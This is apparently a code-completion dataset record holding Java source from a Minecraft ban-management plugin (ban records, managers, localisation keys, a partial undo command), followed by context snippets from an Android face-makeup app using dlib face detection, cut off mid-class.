this.createdAt;\n\t}\n\n\t/**\n\t * Gets the creator.\n\t *\n\t * @return the creator\n\t */\n\t@ManyToOne(targetEntity = PlayerRecord.class)\n\tpublic PlayerRecord getCreator() {\n\t\treturn this.creator;\n\t}\n\n\t/**\n\t * Gets the expires at.\n\t *\n\t * @return the expires at\n\t */\n\tpublic Timestamp getExpiresAt() {\n\t\treturn this.expiresAt;\n\t}\n\n\tpublic BanRecordFormatter getFormatter() {\n\t\treturn new BanRecordFormatter(this);\n\t}\n\n\t/**\n\t * Gets the id.\n\t *\n\t * @return the id\n\t */\n\tpublic int getId() {\n\t\treturn this.id;\n\t}\n\n\t/**\n\t * Gets the player.\n\t *\n\t * @return the player\n\t */\n\tpublic PlayerRecord getPlayer() {\n\t\treturn this.player;\n\t}\n\n\t/**\n\t * Gets the reason.\n\t *\n\t * @return the reason\n\t */\n\tpublic String getReason() {\n\t\treturn this.reason;\n\t}\n\n\t/**\n\t * Gets the state.\n\t *\n\t * @return the state\n\t */\n\tpublic State getState() {\n\t\tif (this.state == State.NORMAL && this.hasExpired()) return State.EXPIRED;\n\t\treturn this.state;\n\t}\n\n\t/**\n\t * Gets the type.\n\t *\n\t * @return the type\n\t */\n\tpublic BanRecord.Type getType() {\n\t\treturn (this.expiresAt == null) ? BanRecord.Type.PERMANENT : BanRecord.Type.TEMPORARY;\n\t}\n\n\t/**\n\t * Sets the created at.\n\t *\n\t * @param time the new created at\n\t */\n\tpublic void setCreatedAt(final Timestamp time) {\n\t\tthis.createdAt = time;\n\t}\n\n\t/**\n\t * Sets the creator.\n\t *\n\t * @param creator the new creator\n\t */\n\tpublic void setCreator(final PlayerRecord creator) {\n\t\tthis.creator = creator;\n\t}\n\n\t/**\n\t * Sets the expires at.\n\t *\n\t * @param expiresAt the new expires at\n\t */\n\tpublic void setExpiresAt(final Timestamp expiresAt) {\n\t\tthis.expiresAt = expiresAt;\n\t}\n\n\t/**\n\t * Sets the id.\n\t *\n\t * @param id the new id\n\t */\n\tpublic void setId(final int id) {\n\t\tthis.id = id;\n\t}\n\n\t/**\n\t * Sets the player.\n\t *\n\t * @param player the new player\n\t */\n\tpublic void setPlayer(final PlayerRecord player) {\n\t\tthis.player = player;\n\t}\n\n\t/**\n\t * Sets the reason.\n\t *\n\t * @param reason the new reason\n\t */\n\tpublic void setReason(final String reason) {\n\t\tthis.reason = reason;\n\t}\n\n\t/**\n\t * Sets the state.\n\t *\n\t * @param state the new state\n\t */\n\tpublic void setState(final State state) {\n\t\tthis.state = state;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"BanRecord{\" +\n\t\t\"createdAt=\" + createdAt +\n\t\t\", creator=\" + creator +\n\t\t\", expiresAt=\" + expiresAt +\n\t\t\", id=\" + id +\n\t\t\", player=\" + player +\n\t\t\", reason='\" + reason + '\\'' +\n\t\t\", state=\" + state +\n\t\t\"} \";\n\t}\n\n\tprivate boolean hasExpired() {\n\t\tif (this.getType() == Type.TEMPORARY) {\n\t\t\treturn ((this.expiresAt.getTime() - System.currentTimeMillis()) < 0);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tpublic static class BanRecordFormatter {\n\n\t\tprivate static final DateFormat DATE_FORMAT = new SimpleDateFormat(\"d MMM yyyy HH:mm (z)\");\n\t\tprivate final BanRecord ban;\n\t\tprivate final TimeFormatter durationFormatter = new PreciseDurationTimeFormatter();\n\t\tprivate final List<String> messages = new ArrayList<String>();\n\t\tprivate final TimeFormatter timeFormatter = new ApproximateTimeFormatter();\n\n\t\tprivate BanRecordFormatter(BanRecord ban) {\n\t\t\tthis.ban = ban;\n\t\t\tmessages.add(getHeader());\n\t\t\tmessages.add(getReason());\n\t\t\tmessages.add(getLength());\n\t\t\tif (ban.getType() != Type.PERMANENT && ban.getState() != State.PARDONED) messages.add(getExpiresAt());\n\t\t\tif (ban.getState() == State.PARDONED) messages.add(getPardoned());\n\t\t}\n\n\t\tprivate String getPardoned() {\n\t\t\treturn BAN_WAS_PARDONED.asInfoMessage();\n\t\t}\n\n\t\tpublic String getExpiresAt() {\n\t\t\tfinal long time = ban.getExpiresAt().getTime();\n\t\t\treturn EXPIRES_AT.asInfoMessage(timeFormatter.getHumanReadableDuration(time));\n\t\t}\n\n\t\tpublic String getHeader() {\n\t\t\tfinal String date = DATE_FORMAT.format(ban.getCreatedAt());\n\t\t\treturn BAN_SUMMARY.asHeaderMessage(ban.getPlayer().getName(), ban.getCreator().getName(), date);\n\t\t}\n\n\t\tpublic String getLength() {\n\t\t\tif (ban.getType() == Type.PERMANENT) {\n\t\t\t\treturn LENGTH.asInfoMessage(PERMANENT.toString());\n\t\t\t} else {\n\t\t\t\tfinal long length = ban.getExpiresAt().getTime() - ban.getCreatedAt().getTime();\n\t\t\t\treturn LENGTH.asInfoMessage(durationFormatter.getHumanReadableDuration(length));\n\t\t\t}\n\t\t}\n\n\t\tpublic Collection<String> getMessages() {\n\t\t\treturn Collections.unmodifiableCollection(messages);\n\t\t}\n\n\t\tpublic String getReason() {\n\t\t\treturn REASON.asInfoMessage(ban.getReason());\n\t\t}\n\n\t}\n}", "public class BanRecordManager {\n\n\tprivate EbeanServer database;\n\n\tpublic BanRecordManager(EbeanServer database) {\n\t\tif (database == null) throw new IllegalArgumentException();\n\t\tthis.database = database;\n\t}\n\n\tpublic void delete(BanRecord ban) {\n\t\tthis.delete(Arrays.asList(ban));\n\t}\n\n\tpublic int delete(Collection<BanRecord> bans) {\n\t\treturn this.database.delete(bans);\n\t}\n\n\tpublic boolean save(BanRecord record) {\n\t\tif (record.getPlayer().isBanned()) return false;\n\t\tthis.database.save(record);\n\t\treturn true;\n\t}\n\n\tpublic List<BanRecord> list() {\n\t\treturn this.database.find(BanRecord.class).findList();\n\t}\n\n\tpublic List<BanRecord> list(int limit) {\n\t\treturn this.database.find(BanRecord.class).setMaxRows(limit).orderBy().desc(\"createdAt\").findList();\n\t}\n\n\tpublic int count() {\n\t\treturn this.database.find(BanRecord.class).findRowCount();\n\t}\n}", "@Entity()\n@Table(name = \"banhammer_players\")\npublic class PlayerRecord {\n\n\t/** The bans. */\n\t@OneToMany(mappedBy = \"player\", targetEntity = BanRecord.class, cascade = { CascadeType.REMOVE })\n\tprivate List<BanRecord> bans;\n\t/** The created bans. */\n\t@OneToMany(mappedBy = \"creator\", targetEntity = BanRecord.class)\n\tprivate List<BanRecord> createdBans;\n\t/** The id. */\n\t@Id\n\tprivate int id;\n\t/** The name. */\n\t@NotNull\n\tprivate String name;\n\n\tpublic BanRecord getActiveBan() {\n\t\tfor (final BanRecord ban : this.getBans()) {\n\t\t\tif (ban.getState() == BanRecord.State.NORMAL) {\n\t\t\t\treturn ban;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t@OneToMany(targetEntity = BanRecord.class, fetch = FetchType.EAGER, cascade = CascadeType.PERSIST)\n\tpublic List<BanRecord> getBans() {\n\t\treturn (this.bans == null) ? new LinkedList<BanRecord>() : this.bans;\n\t}\n\n\tpublic void setBans(final List<BanRecord> records) {\n\t\tthis.bans = records;\n\t}\n\n\t@OneToMany(targetEntity = BanRecord.class, fetch = FetchType.LAZY, cascade = CascadeType.PERSIST)\n\tpublic List<BanRecord> getCreatedBans() {\n\t\treturn (this.createdBans == null) ? new LinkedList<BanRecord>() : this.createdBans;\n\t}\n\n\tpublic void setCreatedBans(final List<BanRecord> records) {\n\t\tthis.createdBans = records;\n\t}\n\n\tpublic int getId() {\n\t\treturn this.id;\n\t}\n\n\tpublic void setId(final int id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getName() {\n\t\treturn this.name;\n\t}\n\n\tpublic void setName(final String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic boolean isBanned() {\n\t\tfor (final BanRecord ban : this.getBans()) {\n\t\t\tif (ban.getState() == BanRecord.State.NORMAL) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"PlayerRecord{\" +\n\t\t\"bans=\" + bans +\n\t\t\", createdBans=\" + createdBans +\n\t\t\", id=\" + id +\n\t\t\", name='\" + name + '\\'' +\n\t\t'}';\n\t}\n\n}", "public class PlayerRecordManager {\n\n\tpublic enum PlayerStatus {\n\t\tANY,\n\t\tBANNED,\n\t\tCREATOR\n\t}\n\tprivate final EbeanServer database;\n\tprivate final Logger logger = PluginLoggerFactory.getLogger(PlayerRecordManager.class);\n\n\tpublic PlayerRecordManager(EbeanServer database) {\n\t\tif (database == null) throw new IllegalArgumentException();\n\t\tthis.database = database;\n\t}\n\n\tpublic int count() {\n\t\treturn this.database.find(PlayerRecord.class).findRowCount();\n\t}\n\n\tpublic PlayerRecord create(String playerName) {\n\t\tPlayerRecord record = this.find(playerName);\n\t\tif (record != null) return record;\n\t\tlogger.log(Level.FINER, \"Creating PlayerRecord for \" + playerName);\n\t\trecord = new PlayerRecord();\n\t\trecord.setName(playerName);\n\t\tthis.save(record);\n\t\treturn this.find(playerName);\n\t}\n\n\tpublic void delete(PlayerRecord record) {\n\t\tthis.delete(Arrays.asList(record));\n\t}\n\n\tpublic void delete(List<PlayerRecord> records) {\n\t\tlogger.log(Level.FINER, \"Deleting PlayerRecords: \" + records);\n\t\tthis.database.delete(records);\n\t}\n\n\tpublic boolean exists(String playerName) {\n\t\tlogger.log(Level.FINER, \"Checking to see if PlayerRecord exists for \" + playerName);\n\t\treturn find(playerName) != null;\n\t}\n\n\tpublic PlayerRecord find(String playerName) {\n\t\tlogger.log(Level.FINER, \"Finding PlayerRecord for \" + playerName);\n\t\ttry {\n\t\t\treturn database.find(PlayerRecord.class).where().ieq(\"name\", playerName).findUnique();\n\t\t} catch (PersistenceException e) {\n\t\t\tthis.removeDuplicates(playerName);\n\t\t\treturn database.find(PlayerRecord.class).where().ieq(\"name\", playerName).findUnique();\n\t\t}\n\t}\n\n\tpublic BannedPlayerBuilder getBannedPlayerBuilder() {\n\t\treturn new BannedPlayerBuilder();\n\t}\n\n\tpublic List<PlayerRecord> list(String playerName, PlayerStatus status) {\n\t\tswitch (status) {\n\t\t\tcase BANNED: {\n\t\t\t\tList<PlayerRecord> records = database.find(PlayerRecord.class).where().istartsWith(\"name\", playerName).findList();\n\t\t\t\tListIterator<PlayerRecord> i = records.listIterator();\n\t\t\t\twhile (i.hasNext()) {\n\t\t\t\t\tPlayerRecord record = i.next();\n\t\t\t\t\tif (record.isBanned()) continue;\n\t\t\t\t\ti.remove();\n\t\t\t\t}\n\t\t\t\treturn records;\n\t\t\t} case CREATOR: {\n\t\t\t\tList<PlayerRecord> records = database.find(PlayerRecord.class).where().istartsWith(\"name\", playerName).findList();\n\t\t\t\tListIterator<PlayerRecord> i = records.listIterator();\n\t\t\t\twhile (i.hasNext()) {\n\t\t\t\t\tPlayerRecord record = i.next();\n\t\t\t\t\tif (record.getCreatedBans().size() > 0) continue;\n\t\t\t\t\ti.remove();\n\t\t\t\t}\n\t\t\t\treturn records;\n\t\t\t} default: {\n\t\t\t\treturn database.find(PlayerRecord.class).where().istartsWith(\"name\", playerName).findList();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic List<PlayerRecord> list() {\n\t\tlogger.log(Level.FINER, \"Returning list containing all PlayerRecords.\");\n\t\treturn database.find(PlayerRecord.class).findList();\n\t}\n\n\tpublic void save(PlayerRecord record) {\n\t\tthis.save(Arrays.asList(record));\n\t}\n\n\tpublic void save(List<PlayerRecord> records) {\n\t\tlogger.log(Level.FINER, \"Saving PlayerRecords: \" + records);\n\t\tthis.database.save(records);\n\t}\n\n\tprotected EbeanServer getDatabase() {\n\t\treturn database;\n\t}\n\n\t\t/**\n\t * Delete duplicate player records.\n\t * <p/>\n\t * This happened due to a bug introduced around version 2.0. I thought it was\n\t * not a major problem but it appears to be causing issues for many players.\n\t * This will automatically fix any issues as they are found.\n\t *\n\t * @param playerName the player name\n\t */\n\tprivate void removeDuplicates(String playerName) {\n\t\tlogger.log(Level.WARNING, \"duplicate-record-found\");\n\t\tfinal List<PlayerRecord> records = database.find(PlayerRecord.class).where().ieq(\"name\", playerName).findList();\n\t\tfor (final PlayerRecord record : records) {\n\t\t\tif ((record.getCreatedBans().size() == 0) && (record.getBans().size() == 0)) {\n\t\t\t\tthis.delete(record);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic class BannedPlayerBuilder {\n\n\t\tprivate final BanRecord record;\n\n\t\tprivate BannedPlayerBuilder() {\n\t\t\tthis.record = new BanRecord();\n\t\t\tthis.record.setState(BanRecord.State.NORMAL);\n\t\t\tthis.setExpiryTime(0);\n\t\t}\n\n\t\tpublic BanRecord getRecord() {\n\t\t\treturn record;\n\t\t}\n\n\t\tpublic boolean save() {\n\t\t\tBanRecordManager manager = new BanRecordManager(PlayerRecordManager.this.getDatabase());\n\t\t\treturn manager.save(record);\n\t\t}\n\n\t\tpublic BannedPlayerBuilder setCreator(String playerName) {\n\t\t\tthis.record.setCreator(create(playerName));\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic BannedPlayerBuilder setExpiresAt(Timestamp timestamp) {\n\t\t\tlong now = System.currentTimeMillis();\n\t\t\tthis.record.setCreatedAt(new Timestamp(now));\n\t\t\tthis.record.setExpiresAt(timestamp);\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic BannedPlayerBuilder setExpiryTime(long time) {\n\t\t\tlong now = System.currentTimeMillis();\n\t\t\tthis.record.setCreatedAt(new Timestamp(now));\n\t\t\tif (time != 0) this.record.setExpiresAt(new Timestamp(now + time));\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic BannedPlayerBuilder setPlayer(String playerName) {\n\t\t\tthis.record.setPlayer(create(playerName));\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic BannedPlayerBuilder setReason(String reason) {\n\t\t\tthis.record.setReason(reason);\n\t\t\treturn this;\n\t\t}\n\n\t}\n}", "public enum BanHammer implements Localised, MessageFormatter {\n\n\tARGUMENT_ALL_ID (\"argument.all.id\"),\n\tARGUMENT_ALL_NAME (\"argument.all.name\"),\n\tARGUMENT_ALL_DESC (\"argument.all.desc\"),\n\n\tARGUMENT_BANCOUNT_ID (\"argument.bancount.id\"),\n\tARGUMENT_BANCOUNT_NAME (\"argument.bancount.name\"),\n\tARGUMENT_BANCOUNT_DESC (\"argument.bancount.desc\"),\n\n\tARGUMENT_SILENT_ID (\"argument.silent.id\"),\n\tARGUMENT_SILENT_NAME (\"argument.silent.name\"),\n\tARGUMENT_SILENT_DESC (\"argument.silent.desc\"),\n\n\tARGUMENT_TIME_ID (\"argument.time.id\"),\n\tARGUMENT_TIME_NAME (\"argument.time.name\"),\n\tARGUMENT_TIME_DESC (\"argument.time.desc\"),\n\n\tARGUMENT_PLAYER_ID (\"argument.player.id\"),\n\tARGUMENT_PLAYER_NAME (\"argument.player.name\"),\n\tARGUMENT_PLAYER_NAME_MULTIPLE (\"argument.player.name-multiple\"),\n\tARGUMENT_PLAYER_DESC (\"argument.player.desc\"),\n\tARGUMENT_PLAYER_ERROR (\"argument.player.error\"),\n\tARGUMENT_PLAYER_NAME_ERROR (\"argument.player-name.error\"),\n\n\tARGUMENT_REASON_ID (\"argument.reason.id\"),\n\tARGUMENT_REASON_NAME (\"argument.reason.name\"),\n\tARGUMENT_REASON_DESC (\"argument.reason.desc\"),\n\tARGUMENT_REASON_ERROR (\"argument.reason.error\"),\n\n\tAUDIT_COMMAND_HEADER (\"auditcommand.header\"),\n\tAUDIT_COMMAND_NAME (\"command.audit.name\"),\n\tAUDIT_COMMAND_DESC (\"command.audit.desc\"),\n\tAUDIT_TYPE_SUMMARY (\"auditcommand.type-summary\"),\n\tAUDIT_PERMANENT_BANS_PERCENTAGE (\"auditcommand.permanent-bans-percentage\"),\n\tAUDIT_TEMPORARY_BANS_PERCENTAGE (\"auditcommand.temporary-bans-percentage\"),\n\tAUDIT_STATUS_SUMMARY (\"auditcommand.status-summary\"),\n\tAUDIT_ACTIVE_BANS_PERCENTAGE (\"auditcommand.active-bans-percentage\"),\n\tAUDIT_EXPIRED_BANS_PERCENTAGE (\"auditcommand.expired-bans-percentage\"),\n\tAUDIT_PARDONED_BANS_PERCENTAGE (\"auditcommand.pardoned-bans-percentage\"),\n\n\tBANCOMMAND_NAME (\"command.ban.name\"),\n\tBANCOMMAND_DESC (\"command.ban.desc\"),\n\n\tCHECK_COMMAND_NAME (\"command.check.name\"),\n\tCHECK_COMMAND_DESC (\"command.check.desc\"),\n\n\n\tCHOICE_MANY_BANS (\"choice.many-bans\"),\n\tCHOICE_MANY_LIMITS (\"choice.many-limits\"),\n\tCHOICE_NO_BANS (\"choice.no-bans\"),\n\tCHOICE_NO_LIMITS (\"choice.no-limits\"),\n\tCHOICE_ONE_BAN (\"choice.one-ban\"),\n\tCHOICE_ONE_LIMIT (\"choice.one-limit\"),\n\n\tEXPORT_COMMAND_NAME (\"command.export.name\"),\n\tEXPORT_COMMAND_DESC (\"command.export.desc\"),\n\n\tEXPIRES_AT (\"expires-at\"),\n\tLENGTH (\"length\"),\n\tPERMANENT (\"permanent\"),\n\tREASON (\"reason\"),\n\tBAN_SUMMARY (\"ban-summary\"),\n\tBAN_WAS_PARDONED (\"ban-was-pardoned\"),\n\n\tHISTORY_COMMAND_NAME (\"command.history.name\"),\n\tHISTORY_COMMAND_DESC (\"command.history.desc\"),\n\n\tIMPORT_COMMAND_NAME (\"command.import.name\"),\n\tIMPORT_COMMAND_DESC (\"command.import.desc\"),\n\n\tPLAYER_BANNED (\"bancommand.player-banned\"),\n\tPLAYER_NOT_BANNED (\"shared.player-is-not-banned\"),\n\tPLAYER_IS_ALREADY_BANNED (\"bancommand.player-is-already-banned\"),\n\tPLUGIN_UNABLE_TO_HOOK_ALIAS (\"alias.unable-to-hook-alias\"),\n\tEXPORT_SUMMARY (\"exportcommand.summary\"),\n\tPLAYER_NEVER_BEEN_BANNED (\"shared.player-has-never-been-banned\"),\n\n\tIMPORT_SUMMARY (\"importcommand.summary\"),\n\tIMPORT_DEFAULT_REASON (\"importcommand.default-reason\"),\n\n\tKICK_COMMAND_NAME (\"command.kick.name\"),\n\tKICK_COMMAND_DESC (\"command.kick.desc\"),\n\tPLAYER_HAS_NEVER_MADE_ANY_BANS (\"player-has-never-made-any-bans\"),\n\tKICK_PLAYER_NOTIFICATION (\"kickcommand.player-notification\"),\n\tKICK_SENDER_NOTIFICATION (\"kickcommand.sender-notification\"),\n\tKICK_PLAYER_KICKED (\"kickcommand.player-kicked-from-server\"),\n\tKICK_DEFAULT_REASON (\"kickcommand.default-reason\"),\n\n\tLIMIT_COMMAND_NAME (\"command.limits.name\"),\n\tLIMIT_COMMAND_DESC (\"command.limits.desc\"),\n\n\tLIMIT_SUMMARY (\"limitscommand.summary\"),\n\tLIMIT_ENTRY (\"limitscommand.entry\"),\n\n\tPARDON_COMMAND_NAME (\"command.pardon.name\"),\n\tPARDON_COMMAND_DESC (\"command.pardon.desc\"),\n\n\n\tPARDON_PLAYER (\"pardoncommand.player\"),\n\tPARDON_UNABLE_TO_TARGET_PLAYER (\"pardoncommand.unable-to-target-player\"),\n\n\n\tPURGE_COMMAND_NAME (\"command.purge.name\"),\n\tPURGE_COMMAND_DESC (\"command.purge.desc\"),\n\n\tPURGE_SUMMARY (\"purgecommand.summary\"),\n\n\tRECENT_COMMAND_NAME (\"command.recent.name\"),\n\tRECENT_COMMAND_DESC (\"command.recent.desc\"),\n\n\n\tRECENT_NO_BANS (\"recentcommand.no-bans\"),\n\tUNDO_COMPLETE (\"undocommand.complete\"),\n\n\tUNDO_COMMAND_NAME (\"command.undo.name\"),\n\tUNDO_COMMAND_DESC (\"command.undo.desc\"),\n\n\tUNDO_NOT_PERMITTED (\"undocommand.not-permitted\"),\n\tUNDO_TIME_EXPIRED (\"undocommand.time-expired\"),\n\tALIAS_BAN_REASON (\"alias.ban-reason\"),\n\tLISTENER_PLAYER_BANNED_TEMPORARILY (\"listener.player-banned-temporarily\"),\n\tLISTENER_PLAYER_BANNED_PERMANENTLY (\"listener.player-banned-permanently\"),\n\tNOTIFY_PLAYER_BANNED (\"notifier.player-banned\"),\n\tNOTIFY_PLAYER_PARDONED (\"notifier.player-pardoned\");\n\n\tprivate static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(\"localisation/Messages\");\n\tprivate static final MessageFormatter FORMATTER = new DefaultMessageFormatter();\n\tprivate final String key;\n\n\tBanHammer(final String key) {\n\t\tthis.key = key;\n\t}\n\n\tprivate static String formatMessage(String message, Object... arguments) {\n\t\treturn MessageFormat.format(message, arguments);\n\t}\n\n\tpublic String asErrorMessage(final Object... arguments) {\n\t\tString message = FORMATTER.asErrorMessage(toString());\n\t\treturn formatMessage(message, arguments);\n\t}\n\n\tpublic String asHeaderMessage(final Object... arguments) {\n\t\tString message = FORMATTER.asHeaderMessage(toString());\n\t\treturn formatMessage(message, arguments);\n\t}\n\n\tpublic String asInfoMessage(final Object... arguments) {\n\t\tString message = FORMATTER.asInfoMessage(toString());\n\t\treturn formatMessage(message, arguments);\n\t}\n\n\tpublic String asMessage(final Object... arguments) {\n\t\treturn formatMessage(toString(), arguments);\n\t}\n\n\tpublic String asWarningMessage(final Object... arguments) {\n\t\tString message = FORMATTER.asWarningMessage(toString());\n\t\treturn formatMessage(message, arguments);\n\t}\n\n\tpublic String getKey() {\n\t\treturn this.key;\n\t}\n\n\tpublic String toString() {\n\t\treturn RESOURCE_BUNDLE.getString(getKey());\n\t}\n\n}" ]
import name.richardson.james.bukkit.banhammer.ban.PlayerRecordManager; import static name.richardson.james.bukkit.banhammer.utilities.localisation.BanHammer.*; import java.util.ArrayList; import java.util.Collection; import org.bukkit.command.CommandSender; import org.bukkit.permissions.Permissible; import name.richardson.james.bukkit.utilities.command.AbstractCommand; import name.richardson.james.bukkit.utilities.command.argument.Argument; import name.richardson.james.bukkit.utilities.command.argument.PlayerNamePositionalArgument; import name.richardson.james.bukkit.banhammer.ban.BanRecord; import name.richardson.james.bukkit.banhammer.ban.BanRecordManager; import name.richardson.james.bukkit.banhammer.ban.PlayerRecord;
/******************************************************************************* * Copyright (c) 2012 James Richardson. * * UndoCommand.java is part of BanHammer. * * BanHammer is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * BanHammer is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR * A PARTICULAR PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with * BanHammer. If not, see <http://www.gnu.org/licenses/>. ******************************************************************************/ package name.richardson.james.bukkit.banhammer; public class UndoCommand extends AbstractCommand { public static final String PERMISSION_ALL = "banhammer.undo"; public static final String PERMISSION_OWN = "banhammer.undo.own"; public static final String PERMISSION_OTHERS = "banhammer.undo.others"; public static final String PERMISSION_UNRESTRICTED = "banhammer.undo.unrestricted"; private final BanRecordManager banRecordManager; private final PlayerRecordManager playerRecordManager; private final Argument players; private final long undoTime; public UndoCommand(PlayerRecordManager playerRecordManager, BanRecordManager banRecordManager, final long undoTime) { super(UNDO_COMMAND_NAME, UNDO_COMMAND_DESC); this.playerRecordManager = playerRecordManager; this.banRecordManager = banRecordManager; this.undoTime = undoTime;
this.players = PlayerNamePositionalArgument.getInstance(playerRecordManager, 0, true, PlayerRecordManager.PlayerStatus.BANNED);
0
clementf2b/FaceT
app/src/main/java/fyp/hkust/facet/activity/ColorizeFaceActivity.java
[ "public class FaceDet {\n private static final String TAG = \"dlib\";\n\n // accessed by native methods\n @SuppressWarnings(\"unused\")\n private long mNativeFaceDetContext;\n private String mLandMarkPath = \"\";\n\n static {\n try {\n System.loadLibrary(\"android_dlib\");\n jniNativeClassInit();\n Log.d(TAG, \"jniNativeClassInit success\");\n } catch (UnsatisfiedLinkError e) {\n Log.e(TAG, \"library not found\");\n }\n }\n\n @SuppressWarnings(\"unused\")\n public FaceDet() {\n jniInit(mLandMarkPath);\n }\n\n public FaceDet(String landMarkPath) {\n mLandMarkPath = landMarkPath;\n jniInit(mLandMarkPath);\n }\n\n @Nullable\n @WorkerThread\n public List<VisionDetRet> detect(@NonNull String path) {\n VisionDetRet[] detRets = jniDetect(path);\n return Arrays.asList(detRets);\n }\n\n @Nullable\n @WorkerThread\n public List<VisionDetRet> detect(@NonNull Bitmap bitmap) {\n VisionDetRet[] detRets = jniBitmapDetect(bitmap);\n return Arrays.asList(detRets);\n }\n\n @Override\n protected void finalize() throws Throwable {\n super.finalize();\n release();\n }\n\n public void release() {\n jniDeInit();\n }\n\n @Keep\n private native static void jniNativeClassInit();\n\n @Keep\n private synchronized native int jniInit(String landmarkModelPath);\n\n @Keep\n private synchronized native int jniDeInit();\n\n @Keep\n private synchronized native VisionDetRet[] jniBitmapDetect(Bitmap bitmap);\n\n @Keep\n private synchronized native VisionDetRet[] jniDetect(String path);\n}", "public final class VisionDetRet {\n private String mLabel;\n private float mConfidence;\n private int mLeft;\n private int mTop;\n private int mRight;\n private int mBottom;\n private ArrayList<Point> mLandmarkPoints = new ArrayList<>();\n\n VisionDetRet() {\n }\n\n /**\n * @param label Label name\n * @param confidence A confidence factor between 0 and 1. This indicates how certain what has been found is actually the label.\n * @param l The X coordinate of the left side of the result\n * @param t The Y coordinate of the top of the result\n * @param r The X coordinate of the right side of the result\n * @param b The Y coordinate of the bottom of the result\n */\n public VisionDetRet(String label, float confidence, int l, int t, int r, int b) {\n mLabel = label;\n mLeft = l;\n mTop = t;\n mRight = r;\n mBottom = b;\n mConfidence = confidence;\n }\n\n /**\n * @return The X coordinate of the left side of the result\n */\n public int getLeft() {\n return mLeft;\n }\n\n /**\n * @return The Y coordinate of the top of the result\n */\n public int getTop() {\n return mTop;\n }\n\n /**\n * @return The X coordinate of the right side of the result\n */\n public int getRight() {\n return mRight;\n }\n\n /**\n * @return The Y coordinate of the bottom of the result\n */\n public int getBottom() {\n return mBottom;\n }\n\n /**\n * @return A confidence factor between 0 and 1. This indicates how certain what has been found is actually the label.\n */\n public float getConfidence() {\n return mConfidence;\n }\n\n /**\n * @return The label of the result\n */\n public String getLabel() {\n return mLabel;\n }\n\n /**\n * Add landmark to the list. Usually, call by jni\n * @param x Point x\n * @param y Point y\n * @return true if adding landmark successfully\n */\n public boolean addLandmark(int x, int y) {\n return mLandmarkPoints.add(new Point(x, y));\n }\n\n /**\n * Return the list of landmark points\n * @return ArrayList of android.graphics.Point\n */\n public ArrayList<Point> getFaceLandmarks() {\n return mLandmarkPoints;\n }\n\n @Override\n public String toString() {\n StringBuilder sb = new StringBuilder();\n sb.append(\"Left:\");\n sb.append(mLabel);\n sb.append(\", Top:\");\n sb.append(mTop);\n sb.append(\", Right:\");\n sb.append(mRight);\n sb.append(\", Bottom:\");\n sb.append(mBottom);\n sb.append(\", Label:\");\n sb.append(mLabel);\n return sb.toString();\n }\n}", "public class ColorSelectFragment extends DialogFragment implements CallbackItemTouch {\n\n private final String TAG = \"SwapColorFragment\";\n RecyclerView color_select_recyclerview;\n ArrayList<String> data;\n private SelectColorRecyclerAdapter adapter;\n\n public Dialog onCreateDialog(Bundle savedInstanceState) {\n final AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());\n // Get the layout inflater\n LayoutInflater inflater = getActivity().getLayoutInflater();\n View rootView = inflater.inflate(R.layout.color_select_fragment_layout, null);\n\n LinearLayoutManager llm\n = new LinearLayoutManager(getActivity(), LinearLayoutManager.VERTICAL, false);\n\n //RECYCER\n color_select_recyclerview = (RecyclerView) rootView.findViewById(R.id.color_select_recyclerview);\n color_select_recyclerview.setLayoutManager(llm);\n\n data = (ArrayList<String>) getArguments().getSerializable(\"selectedColor\");\n adapter = new SelectColorRecyclerAdapter(getActivity(),data);\n Log.d(TAG + \" data \", data.toString());\n\n color_select_recyclerview.setAdapter(new SelectColorRecyclerAdapter(this.getActivity(), data));\n\n ItemTouchHelper.Callback callback = new MyItemTouchHelperCallback(this);// create MyItemTouchHelperCallback\n ItemTouchHelper touchHelper = new ItemTouchHelper(callback); // Create ItemTouchHelper and pass with parameter the MyItemTouchHelperCallback\n touchHelper.attachToRecyclerView(color_select_recyclerview); // Attach ItemTouchHelper to RecyclerView\n\n builder.setTitle(\"Swap Color position\");\n builder.setView(rootView).setPositiveButton(\"Ok\",new DialogInterface.OnClickListener() {\n @Override\n public void onClick(DialogInterface dialog, int which) {\n passData(data);\n dialog.dismiss();\n }\n });\n\n builder.setView(rootView).setNegativeButton(\"Cancel\", null);\n\n return builder.create();\n }\n\n public interface OnDataPass {\n public void onDataPass(List<String> data);\n }\n OnDataPass dataPasser;\n\n @Override\n public void onAttach(Activity a) {\n super.onAttach(a);\n dataPasser = (OnDataPass) a;\n }\n\n public void passData(List<String> data) {\n dataPasser.onDataPass(data);\n }\n\n @Override\n public void itemTouchOnMove(int oldPosition, int newPosition) {\n data.add(newPosition,data.remove(oldPosition));// change position\n adapter.notifyItemMoved(oldPosition, newPosition); //notifies changes in adapter, in this case use the notifyItemMoved\n }\n}", "public class MakeupProductFragment extends DialogFragment {\n\n private final String TAG = \"MakeupProductFragment\";\n RecyclerView rv;\n private DatabaseReference mDatabase;\n private Map<String, ProductTypeTwo> mAppliedProducts = new HashMap<>();\n private String selectedFoundationID, selectedBrushID, selectedEyeshadowID, selectedLipstickID;\n private int foundationColorPostion, brushColorPostion, eyeshadowColorPostion, lipstickColorPostion;\n private ImageView before_imageview;\n private ImageView after_imageview;\n\n public Dialog onCreateDialog(Bundle savedInstanceState) {\n AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());\n // Get the layout inflater\n LayoutInflater inflater = getActivity().getLayoutInflater();\n View rootView = 